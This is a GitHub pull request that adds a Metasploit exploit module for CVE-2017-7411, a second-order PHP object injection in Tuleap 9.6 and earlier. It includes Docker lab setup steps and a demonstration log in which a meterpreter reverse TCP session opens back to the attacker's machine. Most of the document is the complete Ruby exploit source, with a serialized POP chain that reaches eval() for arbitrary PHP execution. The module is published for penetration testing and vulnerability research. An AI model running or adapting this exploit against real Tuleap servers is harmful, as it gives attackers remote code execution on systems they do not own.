Add module for CVE-2017-7411: Tuleap <= 9.6 Second-Order PHP Object Injection

This PR contains a module to exploit [CVE-2017-7411](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7411), a Second-Order PHP Object Injection vulnerability in Tuleap before version 9.7 that might allow authenticated users to execute arbitrary code with the permissions of the webserver. The module has been tested successfully with Tuleap versions 9.6, 8.19, and 8.8 deployed in a Docker container.

## Verification Steps

The quickest way to install an old version of Tuleap is through a Docker container. So install Docker on your system and go through the following steps:

1. Run `docker volume create --name tuleap`
2. Run `docker run -ti -e VIRTUAL_HOST=localhost -p 80:80 -p 443:443 -p 22:22 -v tuleap:/data enalean/tuleap-aio:9.6`
3. Run the following command in order to get the "Site admin password": `docker exec -ti <container_name> cat /data/root/.tuleap_passwd`
4. Go to `https://localhost/account/login.php` and log in as the "admin" user
5. Go to `https://localhost/admin/register_admin.php?page=admin_creation` and create a new user (NOT Restricted User)
6. Open a new browser session and log in as the newly created user
7. From this session go to `https://localhost/project/register.php` and make a new project (let's name it "test")
8. Come back to the admin session, go to `https://localhost/admin/approve-pending.php` and click on "Validate"
9. From the user session you can now browse to `https://localhost/projects/test/` and click on "Trackers" -> "Create a New Tracker"
10. Make a new tracker by choosing e.g. the "Bugs" template, fill all the fields and click on "Create"
11. Click on "Submit new artifact", fill all the fields and click on "Submit"
12. You can now test the MSF module by using the user account created at step n.5 

NOTE: successful exploitation of this vulnerability requires an user account with permissions to submit a new Tracker artifact or access already existing artifacts, which means it might be exploited also by a "Restricted User".

## Demonstration

```
msf > use exploit/unix/webapp/tuleap_rest_unserialize_exec 
msf exploit(tuleap_rest_unserialize_exec) > set RHOST localhost
msf exploit(tuleap_rest_unserialize_exec) > set USERNAME test
msf exploit(tuleap_rest_unserialize_exec) > set PASSWORD p4ssw0rd
msf exploit(tuleap_rest_unserialize_exec) > check 

[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 089d56ffc3888c5bc90220f843f582aa
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[+] localhost:443 The target is vulnerable.

msf exploit(tuleap_rest_unserialize_exec) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(tuleap_rest_unserialize_exec) > ifconfig docker0 | grep "inet:" | awk -F'[: ]+' '{ print $4 }'
msf exploit(tuleap_rest_unserialize_exec) > set LHOST 172.17.0.1
msf exploit(tuleap_rest_unserialize_exec) > exploit 

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 01acd8380d98c587b37ddd75ba8ff6f7
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[*] Sending stage (33721 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:56572) at 2017-11-01 16:07:01 +0100

meterpreter > getuid 
Server username: codendiadm (497)
```
MS-2855/keylogger-mettle-extension
EgiX 2017-11-01 16:09:14 +01:00 committed by GitHub
parent a347dee372
commit 6985e1b940
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 187 additions and 0 deletions

View File

@ -0,0 +1,187 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
'Description' => %q{
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
['CVE', '2017-7411']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Tuleap <= 9.6', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2017'
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
Opt::RPORT(443)
], self.class)
end
def setup_popchain(random_param)
print_status("Trying to login through the REST API...")
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
'ctype' => 'application/json',
'data' => {'username' => user, 'password' => pass}.to_json
})
unless res and (res.code == 201 or res.code == 200) and res.body
msg = "Login failed with #{user}:#{pass}"
if $is_check then print_error(msg) end
fail_with(Failure::NoAccess, msg)
end
body = JSON.parse(res.body)
uid = body['user_id'];
token = body['token'];
print_good("Login successful with #{user}:#{pass}")
print_status("Updating user preference with POP chain string...")
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
pop_chain = 'a:1:{i:0;a:1:{'
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
pop_chain << 'S:12:"\00*\00_template";'
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
pop_chain << 'S:11:"\00*\00_context";a:1:{'
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
res = send_request_cgi({
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
'ctype' => 'application/json',
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
'data' => pref.to_json
})
unless res and res.code == 200
msg = "Something went wrong"
if $is_check then print_error(msg) end
fail_with(Failure::UnexpectedReply, msg)
end
end
def do_login()
print_status("Retrieving the CSRF token for login...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'account/login.php')
})
if res and res.code == 200 and res.body and res.get_cookies
if res.body =~ /name="challenge" value="(\w+)">/
csrf_token = $1
print_good("CSRF token: #{csrf_token}")
else
print_warning("CSRF token not found. Trying to login without it...")
end
else
msg = "Failed to retrieve the login page"
if $is_check then print_error(msg) end
fail_with(Failure::NoAccess, msg)
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'cookie' => res.get_cookies,
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
})
unless res and res.code == 302
msg = "Login failed with #{user}:#{pass}"
if $is_check then print_error(msg) end
fail_with(Failure::NoAccess, msg)
end
print_good("Login successful with #{user}:#{pass}")
res.get_cookies
end
def exec_php(php_code)
random_param = rand_text_alpha(10)
setup_popchain(random_param)
session_cookies = do_login()
print_status("Triggering the POP chain...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
'cookie' => session_cookies,
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
})
if res and res.code == 200 and res.body =~ /Exiting with Error/
msg = "No access to Artifact ID #{datastore['AID']}"
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
end
res
end
def check
$is_check = true
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print '#{flag}';")
if res and res.code == 200 and res.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
elsif res and res.body =~ /Exiting with Error/
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
$is_check = false
exec_php(payload.encoded)
end
end